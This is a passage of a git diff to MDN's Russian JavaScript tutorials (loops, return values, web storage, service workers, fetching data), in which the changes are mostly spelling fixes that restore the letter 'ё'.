Сможете ли вы составить эти списки так, чтобы в конце каждой строки вместо запятой была точка. За помощью можно обратиться к статье «<a href="/ru/docs/Learn/JavaScript/Первые_шаги/Useful_string_methods">Полезные строковые методы</a>».</p> +<p>Дополнительный бонусный вопрос - после успешного выполнения вышеупомянутых задач у вас останется два списка имён, разделённых запятыми, но они будут составлены некорректно: в конце каждого списка будет запятая. Сможете ли вы составить эти списки так, чтобы в конце каждой строки вместо запятой была точка. За помощью можно обратиться к статье «<a href="/ru/docs/Learn/JavaScript/Первые_шаги/Useful_string_methods">Полезные строковые методы</a>».</p> <p>Если вы допустили ошибку, вы всегда можете сбросить пример с помощью кнопки «Сброс» (Reset). Если у вас совсем ничего не получается, нажмите «Показать решение», чтобы увидеть решение.</p> @@ -749,7 +749,7 @@ textarea.onkeyup = function(){ <h2>Editable code</h2> <p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="height: 400px;width: 95%"> -var people = ['Крис', 'Анна', 'Колин', 'Терри', 'Фил', 'Лола', 'Сем', 'Кай', 'Брюс']; +var people = ['Крис', 'Анна', 'Колин', 'Терри', 'Фил', 'Лола', 'Сём', 'Кай', 'Брюс']; var admitted = document.querySelector('.admitted'); var refused = document.querySelector('.refused'); @@ -818,7 +818,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var people = [\'Крис\', \'Анна\', \'Колин\', \'Терри\', \'Фил\', \'Лола\', \'Сем\', \'Кай\', \'Брюс\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Пригласить: \';\nrefused.textContent = \'Не приглашать(!): \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Фил\' || people[i] === \'Лола\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';'; +var jsSolution = 'var people = [\'Крис\', \'Анна\', \'Колин\', \'Терри\', \'Фил\', \'Лола\', \'Сём\', \'Кай\', \'Брюс\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Пригласить: \';\nrefused.textContent = \'Не приглашать(!): \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Фил\' || people[i] === \'Лола\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';'; var solutionEntry = jsSolution; textarea.addEventListener('input', updateCode); diff --git a/files/ru/learn/javascript/building_blocks/return_values/index.html b/files/ru/learn/javascript/building_blocks/return_values/index.html index 9ccd384929..9ff812f4a1 100644 --- a/files/ru/learn/javascript/building_blocks/return_values/index.html +++ b/files/ru/learn/javascript/building_blocks/return_values/index.html @@ -7,7 +7,7 @@ translation_of: Learn/JavaScript/Building_blocks/Return_values <div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/События", "Learn/JavaScript/Building_blocks")}}</div> -<p class="summary">Для нас в этом курсе имеется еще один важный момент. Посмотрим внимательнее на возвращаемое значение функций. Некоторые функции не возвращают существенное значение после завершения, но некоторые возвращают, и важно понимать что это за значение и как использовать его в своем коде и как сделать так чтобы ваши собственные функции возвращали полезные значения. Мы объясним всё это ниже. </p> +<p class="summary">Для нас в этом курсе имеется ещё один важный момент. Посмотрим внимательнее на возвращаемое значение функций. Некоторые функции не возвращают существенное значение после завершения, но некоторые возвращают, и важно понимать что это за значение и как использовать его в своём коде и как сделать так чтобы ваши собственные функции возвращали полезные значения. Мы объясним всё это ниже. </p> <table class="learn-box standard-table"> <tbody> @@ -35,7 +35,7 @@ console.log(newString); // заменяет одну подстроку другой и возвращает // новую строку со сделанными заменами</pre> -<p>Мы уже видели этот блок кода в нашей первой статье про функции. Мы вызываем функцию <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> на строке <code>myText</code> и передаем ей 2 параметра — заменяемую подстроку и подстроку, которой будем заменять. Когда функция завершит выполнение, она вернет значение, которым является новая строка со сделанными в ней заменами. В коде выше мы сохраняем это возвращаемое значение как значение переменной <code>newString</code>.</p> +<p>Мы уже видели этот блок кода в нашей первой статье про функции. Мы вызываем функцию <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> на строке <code>myText</code> и передаём ей 2 параметра — заменяемую подстроку и подстроку, которой будем заменять. Когда функция завершит выполнение, она вернёт значение, которым является новая строка со сделанными в ней заменами. В коде выше мы сохраняем это возвращаемое значение как значение переменной <code>newString</code>.</p> <p>Если Вы посмотрите на функцию replace() на MDN reference page, вы увидите секцию под названием <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value">Return value</a>. Очень важно знать и понимать какие значения возвращаются функциями, так что мы пытаемся включать эту информацию везде, где это возможно.</p> @@ -109,7 +109,7 @@ function factorial(num) { return num; }</pre> <code>Ф</code>функции <code>squared()</code> и <code>cubed()</code> довольно очевидны— они возвращают квадрат или куб переданного как параметр числа. Функция <code>factorial()</code> возвращает <a href="https://en.wikipedia.org/wiki/Factorial">factorial</a> переданного числа.</li> - <li>Далее мы добавим способ выводить нашу информацию введенным в text input числе. Добавьте обработчик событий ниже существующих функций: + <li>Далее мы добавим способ выводить нашу информацию введённым в text input числе. Добавьте обработчик событий ниже существующих функций: <pre class="brush: js">input.onchange = function() { var num = input.value; if (isNaN(num)) { @@ -121,10 +121,10 @@ function factorial(num) { } }</pre> - <p>Здесь мы создаем обработчик событий <code>onchange</code> который срабатывает когда меняется когда новое значение вводится в text input и подтверждается (введите значение и, например, нажмите tab). Когда анонимная функция срабатывает, введенное в input значение сохраняется в переменной <code>num</code> .</p> + <p>Здесь мы создаём обработчик событий <code>onchange</code> который срабатывает когда меняется когда новое значение вводится в text input и подтверждается (введите значение и, например, нажмите tab). Когда анонимная функция срабатывает, введённое в input значение сохраняется в переменной <code>num</code> .</p> </li> <li> - <p>Далее мы делаем условный тест — если введенное значение не является числом, мы выводим в параграф сообщение об ошибке . Тест смотрит возвращает ли выражение <code>isNaN(num)</code> true. Мы используем функцию <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a> чтобы проверить что значение переменной num не число — если так то функция возвращает<code>true</code>, если нет- <code>false</code>.</p> + <p>Далее мы делаем условный тест — если введённое значение не является числом, мы выводим в параграф сообщение об ошибке . Тест смотрит возвращает ли выражение <code>isNaN(num)</code> true. Мы используем функцию <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a> чтобы проверить что значение переменной num не число — если так то функция возвращает<code>true</code>, если нет- <code>false</code>.</p> </li> <li> <p>Если тест возвращает <code>false</code>, значение переменной <code>num</code>число, и поэтому мы выводим сообщение внутри параграфа о значениях квадрата, куба и факториала числа. Предложение вызывает функции <code>squared()</code>, <code>cubed()<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> и</span></font></code><code>factorial()</code> чтобы получить нужные значения. Сохраните Ваш код, загрузите его в браузере и посмотрите на то что получилось.</p> @@ -135,7 +135,7 @@ function factorial(num) { <p><strong>Замечание</strong>: Если у вас проблемы с работой данного примера, не стесняйтесь сверить ваш код с работающей версией <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html">finished version on GitHub</a> (или <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html">смотрите живой пример</a>), или спросите нас.</p> </div> -<p>К этому моменту мы хотели бы чтобы вы написали парочку собственных функций и добавили их в библиотеку. Как на счет квадратного или кубического корня числа или длины окружности круга с длиной радиуса равной числу <code>num</code>?</p> +<p>К этому моменту мы хотели бы чтобы вы написали парочку собственных функций и добавили их в библиотеку. Как на счёт квадратного или кубического корня числа или длины окружности круга с длиной радиуса равной числу <code>num</code>?</p> <p>Это упражнение привнесло парочку важных понятий в изучении того, как использовать ключевое слово <code>return</code> . В дополнение:</p> @@ -148,13 +148,13 @@ function factorial(num) { <p>Функции очень полезны и не смотря на то, что об их синтаксисе и функциональности можно говорить долго, у нас есть довольно понятные статьи для дальнейшего обучения.</p> -<p>Если в статье есть что-то что вы не поняли, не стесняйтесь перечитать статью еще раз или <a href="/en-US/Learn#Contact_us">свяжитесь с нами</a> для получения помощи.</p> +<p>Если в статье есть что-то что вы не поняли, не стесняйтесь перечитать статью ещё раз или <a href="/en-US/Learn#Contact_us">свяжитесь с нами</a> для получения помощи.</p> <h2 id="Смотрите_также">Смотрите также</h2> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Функции более подробно</a> — подробное руководство, охватывающее более продвинутую информацию, связанную с функциями.</li> - <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Колбэк-функции в JavaScript</a> — распространенный паттерн JavaScript для передачи функции в другую функцию как аргумент, который затем вызывается внутри первой функции.</li> + <li><a href="https://www.impressivewebs.com/callback-functions-javascript/">Колбэк-функции в JavaScript</a> — распространённый паттерн JavaScript для передачи функции в другую функцию как аргумент, который затем вызывается внутри первой функции.</li> </ul> <p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> diff --git a/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html b/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html index 8bfb571bcb..d956d7bbc3 100644 --- a/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html +++ b/files/ru/learn/javascript/building_blocks/test_your_skills_colon__functions/index.html @@ -24,9 +24,9 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions' <h2 id="Управление_структурой_DOM_рекомендуется">Управление структурой DOM: рекомендуется</h2> -<p>Некоторые из вопросов, приведенных ниже, требуют написания кода для управления структурой <a href="/en-US/docs/Glossary/DOM">DOM</a> для их решения - например, создание новых HTML-элементов, установка их текстового содержимого в соответствие с определенными значениями строк, и вложение их внутри существующих элементов на странице - и все это с помощью JavaScript.</p> +<p>Некоторые из вопросов, приведённых ниже, требуют написания кода для управления структурой <a href="/en-US/docs/Glossary/DOM">DOM</a> для их решения - например, создание новых HTML-элементов, установка их текстового содержимого в соответствие с определёнными значениями строк, и вложение их внутри существующих элементов на странице - и все это с помощью JavaScript.</p> -<p>Мы еще не обучали этому прямо в курсе, но вы увидите некоторые примеры, которые используют данную структуру, и мы хотели бы, чтобы вы провели некоторые исследования в отношении того, какие DOM API вам нужны, чтобы успешно ответить на эти вопросы. Хорошим началом будет наше учебное пособие <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Управление документами</a>.</p> +<p>Мы ещё не обучали этому прямо в курсе, но вы увидите некоторые примеры, которые используют данную структуру, и мы хотели бы, чтобы вы провели некоторые исследования в отношении того, какие DOM API вам нужны, чтобы успешно ответить на эти вопросы. Хорошим началом будет наше учебное пособие <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Управление документами</a>.</p> <h2 id="Функции_1">Функции 1</h2> @@ -64,7 +64,7 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions' <h2 id="Функции_3">Функции 3</h2> -<p>В этой задаче вы возвращаетесь к проблеме, поставленной в Задаче 1, с целью ее улучшения. Мы хотим, чтобы вы сделали три улучшения:</p> +<p>В этой задаче вы возвращаетесь к проблеме, поставленной в Задаче 1, с целью её улучшения. Мы хотим, чтобы вы сделали три улучшения:</p> <ol> <li>Выполните рефакторинг (реорганизацию) кода, который отвечает за генерацию случайного числа в отдельную функцию <code>random()</code>, которая принимает в качестве параметров две общие границы, между которыми должно находиться случайное число и возвращает результат.</li> @@ -87,7 +87,7 @@ translation_of: 'Learn/JavaScript/Building_blocks/Test_your_skills:_Functions' <p>Если же вы хотите, чтобы вашу работу проанализировали, или у вас проблема и вы хотите попросить о помощи:</p> <ol> - <li>Поместите свой код в онлайн-редактор <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> или <a href="https://glitch.com/">Glitch</a> с возможностью совместного использования. Вы можете написать код самостоятельно или использовать файлы с исходным кодом, ссылки на которые приведены в вышеприведенных разделах.</li> + <li>Поместите свой код в онлайн-редактор <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> или <a href="https://glitch.com/">Glitch</a> с возможностью совместного использования. Вы можете написать код самостоятельно или использовать файлы с исходным кодом, ссылки на которые приведены в вышеприведённых разделах.</li> <li>Напишите сообщение с просьбой о проведении анализа и/или помощи в категории <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Ваше сообщение должно включать в себя следующие пункты: <ul> <li>Описательный заголовок, например "Анализ для теста навыков: Функции 1".</li> diff --git a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html index da1f88f0aa..280493b6bd 100644 --- a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -76,7 +76,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage <p>Некоторые современные браузеры поддерживают новое {{domxref("Cache")}} API. Этот API предназначен для хранения HTTP-ответов на конкретные запросы и очень полезен для таких вещей, как хранение ресурсов сайта в автономном режиме, чтобы впоследствии сайт можно было использовать без сетевого подключения. Cache обычно используется в сочетании с <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a>, однако это не обязательно.</p> -<p>Использование Cache и Service Workers - сложная тема, и мы не будем подробно останавливаться на ней в этой статье, хотя приведем простой пример {{anch("Offline asset storage")}} в разделе ниже.</p> +<p>Использование Cache и Service Workers - сложная тема, и мы не будем подробно останавливаться на ней в этой статье, хотя приведём простой пример {{anch("Offline asset storage")}} в разделе ниже.</p> <h2 id="Хранение_простых_данных_—_web_storage">Хранение простых данных — web storage</h2> @@ -96,7 +96,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage <li> <p>Все данные вашего веб-хранилища содержатся в двух объектоподобных структурах внутри браузера: {{domxref("Window.sessionStorage", "sessionStorage")}} и {{domxref("Window.localStorage", "localStorage")}}. Первый сохраняет данные до тех пор, пока браузер открыт (данные теряются при закрытии браузера), а второй сохраняет данные даже после того, как браузер закрыт, а затем снова открыт. Мы будем использовать второй в этой статье, так как он, как правило, более полезен.</p> - <p>{{domxref("Storage.setItem()")}} метод позволяет сохранить элемент данных в хранилище - он принимает два параметра: имя элемента и его значение. Попробуйте ввести это в свою консоль JavaScript (измените значение на свое собственное имя, если хотите!):</p> + <p>{{domxref("Storage.setItem()")}} метод позволяет сохранить элемент данных в хранилище - он принимает два параметра: имя элемента и его значение. Попробуйте ввести это в свою консоль JavaScript (измените значение на своё собственное имя, если хотите!):</p> <pre class="brush: js notranslate">localStorage.setItem('name','Chris');</pre> </li> @@ -134,7 +134,7 @@ myName</pre> var myName = localStorage.getItem('name'); myName</pre> - <p>Вы должны увидеть возвращенное имя элемента.</p> + <p>Вы должны увидеть возвращённое имя элемента.</p> </li> <li> <p>Теперь закройте браузер и откройте его снова.</p> @@ -155,7 +155,7 @@ myName</pre> <p>Это имеет смысл - вы можете представить себе проблемы безопасности, которые могут возникнуть, если веб-сайты смогут видеть данные друг друга!</p> -<h3 id="Более_развернутый_пример">Более развернутый пример</h3> +<h3 id="Более_развёрнутый_пример">Более развёрнутый пример</h3> <p>Давайте применим эти новые знания, написав простой рабочий пример, чтобы дать вам представление о том, как можно использовать веб-хранилище. Наш пример позволит вам ввести имя, после чего страница обновится, чтобы дать вам персональное приветствие. Это состояние также будет сохраняться при перезагрузке страницы / браузера, поскольку имя хранится в веб-хранилище.</p> @@ -173,7 +173,7 @@ myName</pre> <p>Далее обратите внимание, как наш HTML ссылается на файл JavaScript с именем <code>index.js</code> (см. строку 40). Нам нужно создать его, и записать в него наш код JavaScript. Создайте файл <code>index.js</code> в том же каталоге, что и ваш HTML-файл.</p> </li> <li> - <p>Мы начнем с создания ссылок на все функции HTML, которыми мы должны манипулировать в этом примере - мы создадим их все как константы, поскольку эти ссылки не нужно изменять в жизненном цикле приложения. Добавьте следующие строки в ваш файл JavaScript:</p> + <p>Мы начнём с создания ссылок на все функции HTML, которыми мы должны манипулировать в этом примере - мы создадим их все как константы, поскольку эти ссылки не нужно изменять в жизненном цикле приложения. Добавьте следующие строки в ваш файл JavaScript:</p> <pre class="brush: js notranslate">// create needed constants const rememberDiv = document.querySelector('.remember'); @@ -195,7 +195,7 @@ form.addEventListener('submit', function(e) { });</pre> </li> <li> - <p>Теперь нам нужно добавить обработчик событий, функция-обработчик которого будет запускаться при нажатии кнопки «Say hello». В комментариях подробно объясняется, что делает каждый бит, но в сущности здесь мы берем имя, которое пользователь ввел в поле ввода текста, и сохраняем его в веб-хранилище с помощью <code>setItem()</code>, затем запускаем функцию <code>nameDisplayCheck()</code>, которая будет обрабатывать обновление фактического текста сайта. Добавьте это в конец: </p> + <p>Теперь нам нужно добавить обработчик событий, функция-обработчик которого будет запускаться при нажатии кнопки «Say hello». В комментариях подробно объясняется, что делает каждый бит, но в сущности здесь мы берём имя, которое пользователь ввёл в поле ввода текста, и сохраняем его в веб-хранилище с помощью <code>setItem()</code>, затем запускаем функцию <code>nameDisplayCheck()</code>, которая будет обрабатывать обновление фактического текста сайта. Добавьте это в конец: </p> <pre class="brush: js notranslate">// run function when the 'Say hello' button is clicked submitBtn.addEventListener('click', function() { @@ -263,7 +263,7 @@ function nameDisplayCheck() { <p dir="ltr" id="tw-target-text">Однако это обходится дорого: IndexedDB гораздо сложнее в использовании, чем Web Storage API.</p> -<p dir="ltr" id="tw-target-text">В этом разделе мы действительно только коснемся того, на что он способен, но мы дадим вам достаточно, чтобы начать.</p> +<p dir="ltr" id="tw-target-text">В этом разделе мы действительно только коснёмся того, на что он способен, но мы дадим вам достаточно, чтобы начать.</p> <h3 dir="ltr" id="Работа_с_примером_хранения_заметок">Работа с примером хранения заметок</h3> @@ -668,7 +668,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <h2 id="Оффлайн_хранение_данных">Оффлайн хранение данных</h2> -<p>Пример ниже показывает, как создать приложение, которое будет хранить данные большого объема в хранилище IndexedDB, избегая необходимости скачивать их повторно. Это важное улучшение пользовательского опыта, но есть одно замечание — основной HTML, CSS, и файлы JavaScript все еще нужно загружать каждый раз при запросе сайта, это значит, что данный пример не будет работать при отсутствии сетевого соединения.</p> +<p>Пример ниже показывает, как создать приложение, которое будет хранить данные большого объёма в хранилище IndexedDB, избегая необходимости скачивать их повторно. Это важное улучшение пользовательского опыта, но есть одно замечание — основной HTML, CSS, и файлы JavaScript все ещё нужно загружать каждый раз при запросе сайта, это значит, что данный пример не будет работать при отсутствии сетевого соединения.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15759/ff-offline.png" style="border-style: solid; border-width: 1px; display: block; height: 307px; margin: 0px auto; width: 765px;"></p> @@ -678,10 +678,10 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <p>Когда worker перехватывает запрос, он может делать многие вещи (смотри <a href="/en-US/docs/Web/API/Service_Worker_API#Other_use_case_ideas">идеи для использования сервис-воркеров</a>), но классический пример это сохранение сетевых ответов и затем доступ к ним при запросе, вместо запросов по сети. В результате, это позволяет сделать веб-сайт полностью работающим в офлайне.</p> -<p><a href="/en-US/docs/Web/API/Cache">Cache API</a> это еще один механизм хранения данных на клиенте с небольшим отличием — он разработан для хранения HTTP ответов, и прекрасно работает с сервис-воркерами.</p> +<p><a href="/en-US/docs/Web/API/Cache">Cache API</a> это ещё один механизм хранения данных на клиенте с небольшим отличием — он разработан для хранения HTTP ответов, и прекрасно работает с сервис-воркерами.</p> <div class="note"> -<p><strong>Note</strong>: Service workers и Cache доступны в большинстве современных браузеров. В момент написания статьи, Safari еще не имел реализации, но скоро должна быть.</p> +<p><strong>Note</strong>: Service workers и Cache доступны в большинстве современных браузеров. В момент написания статьи, Safari ещё не имел реализации, но скоро должна быть.</p> </div> <h3 id="Пример_сервис_воркера">Пример сервис воркера</h3> @@ -703,12 +703,12 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { }</pre> <div class="note"> -<p><strong>Примечание</strong>: Путь к файлу <code>sw.js</code> указан относительно корня сайта, а не JavaScript файла, содержащего основной код. Полный путь - <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Корень - <code>https://mdn.github.io</code>, и следовательно указываемый путь должен быть <code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Если вы хотите использовать данный пример на своем сервере, вы также должны изменить путь к скрипту. Это довольно запутанно, но обязано так работать по причинам безопасности.</p> +<p><strong>Примечание</strong>: Путь к файлу <code>sw.js</code> указан относительно корня сайта, а не JavaScript файла, содержащего основной код. Полный путь - <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Корень - <code>https://mdn.github.io</code>, и следовательно указываемый путь должен быть <code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Если вы хотите использовать данный пример на своём сервере, вы также должны изменить путь к скрипту. Это довольно запутанно, но обязано так работать по причинам безопасности.</p> </div> <h4 id="Устанавливаем_сервис_воркер">Устанавливаем сервис воркер</h4> -<p>В следующий раз, когда страница с сервис-воркером будет запрошена (например когда страница будет перезагружена), сервис-воркер запустится на этой странице и начнет контролировать её. Когда это произойдет, событие <code>install</code> будет вызвано в сервис-воркере; вы можете написать код внутри сервис-воркера, который будет вызван в процессе установки.</p> +<p>В следующий раз, когда страница с сервис-воркером будет запрошена (например когда страница будет перезагружена), сервис-воркер запустится на этой странице и начнёт контролировать её. Когда это произойдёт, событие <code>install</code> будет вызвано в сервис-воркере; вы можете написать код внутри сервис-воркера, который будет вызван в процессе установки.</p> <p>Давайте взглянем на файл сервис-воркера <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js">sw.js</a>. Вы можете видеть, что обработчик события <code>install</code> зарегистрирован на <code>self</code>. Ключевое слово <code>self</code> это способ ссылки на глобальную область видимости сервис-воркера из файла с сервис-воркером.</p> @@ -733,11 +733,11 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <h4 id="Отвечаем_на_последующие_запросы">Отвечаем на последующие запросы</h4> -<p>Когда сервис-воркер зарегистрирован и установлен на странице HTML и сопутствующие ресурсы добавлены в кэш, все практически готово. Нужно сделать еще одну вещь - написать код для ответа на дальнейшие сетевые запросы.</p> +<p>Когда сервис-воркер зарегистрирован и установлен на странице HTML и сопутствующие ресурсы добавлены в кэш, все практически готово. Нужно сделать ещё одну вещь - написать код для ответа на дальнейшие сетевые запросы.</p> -<p>Это то, что делает вторая часть кода файла <code>sw.js</code>. Мы добавили еще один обработчик к сервис-воркеру в глобальной области видимости, который запускает функцию-обработчик при событии <code>fetch</code>. Это происходит всякий раз, когда браузер делает запрос ресурса в директорию, где зарегистрирован сервис-воркер.</p> +<p>Это то, что делает вторая часть кода файла <code>sw.js</code>. Мы добавили ещё один обработчик к сервис-воркеру в глобальной области видимости, который запускает функцию-обработчик при событии <code>fetch</code>. Это происходит всякий раз, когда браузер делает запрос ресурса в директорию, где зарегистрирован сервис-воркер.</p> -<p>Внутри обработчика, мы сначала выводим в консоль URL запрашиваемого ресурса. Затем отдаем особый ответ на запрос, используя метод {{domxref("FetchEvent.respondWith()")}}.</p> +<p>Внутри обработчика, мы сначала выводим в консоль URL запрашиваемого ресурса. Затем отдаём особый ответ на запрос, используя метод {{domxref("FetchEvent.respondWith()")}}.</p> <p>Внутри блока мы используем {{domxref("CacheStorage.match()")}} чтобы проверить, можно ли найти соответствующий запрос (т.е. совпадение по URL) в кэше. Обещание возвращает найденный ответ или <code>undefined</code>, если ничего не нашлось.</p> diff --git a/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html index 63d9010aab..da373e930c 100644 --- a/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html @@ -14,7 +14,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data <div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> -<p class="summary"><span lang="ru">Другой очень распространенной задачей в современных веб-сайтах и приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки всей новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые делают это возможным, например XMLHttpRequest и API Fetch.</span></p> +<p class="summary"><span lang="ru">Другой очень распространённой задачей в современных веб-сайтах и приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки всей новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые делают это возможным, например XMLHttpRequest и API Fetch.</span></p> <table class="learn-box standard-table"> <tbody> @@ -41,7 +41,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data <p>Это привело к созданию технологий, позволяющих веб-страницам запрашивать небольшие фрагменты данных (например, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML">HTML</a>, {{glossary("XML")}}, <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/JSON">JSON</a> или обычный текст) и отображать их только при необходимости, помогая решать проблему, описанную выше.</p> -<p>Это достигается с помощью таких API, как {{domxref("XMLHttpRequest")}} или - более новой - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>. Эти технологии позволяют веб-страницам напрямую обрабатывать запросы <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">HTTP</a> для определенных ресурсов, доступных на сервере, и форматировать результирующие данные по мере необходимости перед их отображением.</p> +<p>Это достигается с помощью таких API, как {{domxref("XMLHttpRequest")}} или - более новой - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>. Эти технологии позволяют веб-страницам напрямую обрабатывать запросы <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">HTTP</a> для определённых ресурсов, доступных на сервере, и форматировать результирующие данные по мере необходимости перед их отображением.</p> <div class="note"> <p><strong>Примечание</strong>: Вначале эта общая техника была известна как Асинхронный JavaScript и XML (Ajax), поскольку она, как правило, использовала {{domxref("XMLHttpRequest")}} для запроса данных XML. В наши дни это обычно не так (вы, скорее всего, будете использовать <code>XMLHttpRequest</code> или Fetch для запроса JSON), но результат все тот же, и термин «Ajax» по-прежнему часто используется для описания этой техники.</p> @@ -60,7 +60,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data <ul> <li>Обновления страницы намного быстрее, и вам не нужно ждать перезагрузки страницы, а это означает, что сайт работает быстрее и воспринимается более отзывчивым.</li> - <li>Меньше данных загружается при каждом обновлении, что означает меньшее потребление пропускной способности. Это не может быть такой большой проблемой на рабочем столе в широкополосном подключении, но это серьезная проблема на мобильных устройствах и в развивающихся странах, которые не имеют повсеместного быстрого интернет-сервиса.</li> + <li>Меньше данных загружается при каждом обновлении, что означает меньшее потребление пропускной способности. Это не может быть такой большой проблемой на рабочем столе в широкополосном подключении, но это серьёзная проблема на мобильных устройствах и в развивающихся странах, которые не имеют повсеместного быстрого интернет-сервиса.</li> </ul> <p>Чтобы ускорить работу, некоторые сайты также сохраняют необходимые файлы и данные на компьютере пользователя при первом обращении к сайту, а это означает, что при последующих посещениях они используют локальные версии вместо загрузки свежих копий, как при первой загрузке страницы. Содержимое загружается с сервера только при его обновлении.</p> @@ -75,14 +75,14 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data <h3 id="XMLHttpRequest">XMLHttpRequest</h3> -<p><code>XMLHttpRequest</code> (который часто сокращается до XHR) является довольно старой технологией сейчас - он был изобретен Microsoft в конце 1990-х годов и уже довольно долго стандартизирован в браузерах.</p> +<p><code>XMLHttpRequest</code> (который часто сокращается до XHR) является довольно старой технологией сейчас - он был изобретён Microsoft в конце 1990-х годов и уже довольно долго стандартизирован в браузерах.</p> <ol> <li> - <p>Чтобы начать этот пример, создайте локальную копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> и четырех текстовых файлов - <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> - в новом каталоге на вашем компьютере. В этом примере мы загрузим другое стихотворение (который вы вполне можете распознать) через XHR, когда он будет выбран в выпадающем меню.</p> + <p>Чтобы начать этот пример, создайте локальную копию <a 